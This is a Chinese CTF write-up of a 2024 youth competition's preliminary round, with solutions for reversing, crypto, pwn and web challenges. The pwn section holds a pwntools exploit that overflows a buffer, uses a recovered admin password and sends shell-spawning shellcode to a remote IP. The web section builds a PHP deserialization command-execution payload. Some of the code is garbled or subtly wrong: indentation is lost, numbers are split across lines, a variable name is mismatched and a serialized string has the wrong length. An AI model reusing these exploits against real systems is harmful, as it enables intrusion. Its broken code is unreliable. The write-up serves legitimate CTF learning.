2024年第四届极客少年挑战赛初赛WP-By Knight

2024年第四届极客少年挑战赛初赛WP-By Knight

附上地址:
https://www.ichunqiu.com/competition/detail/337

第一部分 Misc

1.最简单的隐写

直接010Editor打开图片,搜索flag即可
2024-07-24T09:11:16.png
flag{w31c0m3_w31c0m3}

2.删除后门用户

启动docker,是个ssh,咱们直接连接,并cat /etc/shadow,结果是权限不够
那么再次尝试cat /etc/passwd
2024-07-24T09:13:17.png
从中可得我们要删除backdoor用户
那么直接rm -rf /home/backdoor
最后cd / && cat flag

第二部分 Reverse

1.Little Re

用ida打开task.exe
2024-07-24T09:19:11.png
一眼望去一堆UPX
那么直接upx -d task.exe
2024-07-24T09:21:22.png
然后继续审计代码,主要看undefine函数
exp:

box=[get_wide_byte(0x403040+i) for i in range(320)]
v5=[0x18, 0x10, 0xcf, 0xe6, 0x16, 0x5b, 0x4e, 0xe6, 0x2c, 0x87, 0x91, 0x92,
0x1b, 0xaa, 0x8, 0xee, 0xd6, 0x70, 0x74, 0x42, 0xe9, 0x7, 0x7, 0x46, 0xd6,
0x16, 0x2a, 0x42, 0xfa, 0x6c, 0x89, 0xe7, 0x2d, 0x29, 0x53, 0x60, 0xc5, 0x
a, 0x4d, 0x53, 0xc5, 0x15]
l=[]
for i in range(len(v5)):
 l.append(chr(sbox.index(v5[i])^i))
print(''.join(l))

2.BeautifulFlower

不会

第三部分 PWN

1.ezpwn

先运行
2024-07-24T09:30:29.png
表面来看,有三个功能点,而功能1被停用。
ida查看源码:
2024-07-24T09:31:22.png
注意这部分,原有四个功能点,而在运行时去掉了Exec
那么我断定它是想让我们调用Exec并利用服务器中存在的RCE漏洞
2024-07-24T09:34:05.png
那这里就可以看出它admin密码是SuperSecurePassword123!
我们只需要调用Login函数即可成功破解此题,而它由V5变量控制
2024-07-24T09:38:02.png
通过审计此部分,得出:我们需要传56byte的参数才能覆盖v5变量
exp

from pwn import*
from libnum import *
from ctypes import *
from z3 import *
import requests as req
s=lambda x:p.send(x)
sl=lambda x:p.sendline(x)
sa=lambda x,y:p.sendafter(x,y)
sla=lambda x,y:p.sendlineafter(x,y)
r=lambda :p.recv()
rl=lambda :p.recvline()
ru=lambda x:p.recvuntil(x)
context.clear(arch='amd64', os='linux', log_level='debug')
url='101.200.238.173'
port=34948
p=remote(url,port)
shellcode=asm(shellcraft.sh())
lin=[b'> ']*3+[b'Password: ',b'> ',b'Shellcode: ']
lsend=[b'2',b'a'*56,b'1',b'SuperSecurePassword123!',b'4',shellcode]
for i in range(len(lin)):
ru(lin[i])
print(lin[i],lsend[i])
sl(lsend[i])
p.interactive()

2.OrangeForce

不会

第三部分 Crypto

1.ezxor

根据如下代码,得出key是小写4字节的字母

random_string = ''.join(random.choice(letters) for i in range(4))

那么首先就需要生成字典爆破此key

这串代码:把flag进行base64_encode并把它分为四个一组

flag = base64.b64encode(flag[5:-1].encode()).decode()
fg = [flag[i:i+4] for i in range(0, len(flag), 4)]

这串代码:enumerate(k_box)产⽣的是(index,k_box[index]

for z,t in enumerate(k_box):
k_box[z] = t << z
a=(reduce(xor,k_box)) >> 3 ^ s2n(j) ^ s2n(key[0]) >> 5
a_boxs.append(a)

a是由(reduce(xor,k_box)) >> 3 ^ s2n(j) ^ s2n(key[0]) >> 5产⽣的

然后看题目提示

题⽬提示:key需要⾃⼰通过给定的assert信息和⽣成信息来爆破,由于先左移和异或都是⼀个可逆的
过程,对k_box盒中的所有值先异或在对加密后的值异或,处理左移,⽤左移的反操作右移即可还原回
去。

根据代码审计,左移的反操作右移这一提示是错误的
exp如下

from libnum import *
from operator import xor
from gmssl import sm3,func
import base64,string,itertools,tqdm
GKey=lambda x:sm3.sm3_hash(func.bytes_to_list(x.encode('utf-8')))
def Crack():
for x in tqdm.tqdm([''.join(x) for x in itertools.product(string.ascii
_lowercase,repeat=4)]):
if GKey(x)=="ed7c5e5a9e7db0af63ff1857c74f1612503714e7257e3135161ac
693263c5bc3":
return x
key=Crack()
assert key=="vyxj"
k_boxs=[[85960428, 124048944], [76896516, 148233042, 148344300, 430828728]
, [18813226, 47434414, 384576428, 756186952, 1176559104, 3012655264], [324
19498, 135200222, 144078312, 418343384, 264781840, 997176032, 1575860096,
2311119872], [78138466, 26105444, 246378096, 673137192, 780322864, 5806388
16, 1013888320, 8267513088, 18261797376, 38464371712], [74398718, 34836126
, 114351808, 84194008, 864090304, 2058369664, 3768046400, 9054897920, 3609
117696, 31962163200, 78609714176, 143030124544], [95136078, 121787282, 142
893752, 595233264, 1428549856, 3051172768, 5077270848, 1495076864, 1287087
7440, 47778328576, 70943019008, 73837846528, 347317125120, 202464190464],
[25940628, 178611312, 187525036, 724730696, 1262246272, 538422912, 5178823
296, 11962676480, 3681039360, 43111816192, 53454863360, 46940395520, 32458
4484864, 738174935040, 1180945874944, 2680363352064], [91476910, 40438622,
284009216, 189141944, 494422624, 1909378272, 1859258688, 8325893632, 8679
649792, 25956180480, 19010518016, 149400145920, 75571052544, 216012996608,
877107707904, 1918758420480, 4670701109248, 1511231979520], [74597483, 35
476838, 332670940, 628899328, 1006051312, 1810494112, 1815836800, 62540084
48, 9059957248, 37066194944, 84866486272, 143417882624, 374722654208, 4215
53152000, 289192411136, 2595834003456, 1876405256192, 3073277952000, 51380
42585088, 16906505420800], [43202734, 123038960, 230151348, 227006016, 131
6620848, 2661215424, 1102296384, 6063244416, 13653935872, 15262126080, 568
29879296, 203848990720, 319030505472, 273716043776, 1328383262720, 3109532
008448, 1974875389952, 10583088431104, 17563729002496, 41257490972672, 104
812289982464, 173872034873344], [40707932, 62510266, 127238668, 433986608,
1493914656, 2017700128, 941191424, 4402769536, 6413621248, 34974545408, 7
6024111104, 149649319936, 63424671744, 591347908608, 1425053548544, 210941
1262464, 3604948779008, 1747924942848, 12591446097920, 36837998985216, 147
17609312256, 116828735012864, 67418525270016, 162300363276288]]
a_boxs=[1320734445, 1299107274, 1462892431, 1369698413, 8147346610, 281319
11745, 62500239353, 489185004903, 558579233563, 1461508494923, 30901854114
296, 31037226326417]
flag=[]
for i in range(len(k_boxs)):
flag.append(n2s(a_boxs[i]^((reduce(xor,k_boxs[i]))>>3)^(s2n(key)>>5)).
decode())
flag=base64.b64decode(''.join(flag)).decode()
print("Key:%s\nFlag:flag{%s}"%(key,flag))

2.Some Erratic

不会

第四部分 Web

1.ez_unserialize

这是一个反序列化,主要是最后调用cmd变量进行命令执行
首先了解几个关键点:

unserialize()函数将接收的字符串反序列化为PHP的值或对象。

我们需要触发__wakeup()魔术方法,该方法在反序列化时自动调用。

__wakeup()方法中尝试调用$this->a->new(),但new不是一个PHP的魔术方法,如果$a是一个对象,并且该对象有一个名为new的方法,那么会调用它。

__call()魔术方法在尝试调用不可访问的方法时会被触发。

__toString()魔术方法在尝试将对象作为字符串时会被触发。

我们可以构造一个payload,通过one类的__wakeup()方法触发__call()方法,进而通过__toString()方法执行命令。但直接执行new方法可能不可行,因为new不是一个普通的方法名。我们可以使用two类的__call()方法,通过动态调用其他对象的方法来绕过这个问题。

<?php
// 假设我们要执行的命令是 'ls'

$cmd = 'O:4:"four":1:{s:1:"s";s:3:"ls";}'; // 序列化一个four对象,其s属性为'ls'

$payload = base64_encode($cmd);

echo urlencode($payload); // 因为URL传递,需要URL编码

2.ezJava

我是用Nuclei扫出来的,漏洞编号为CVE-2020-1957

© 版权声明
THE END
喜欢就支持一下吧
点赞11 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片快捷回复

    暂无评论内容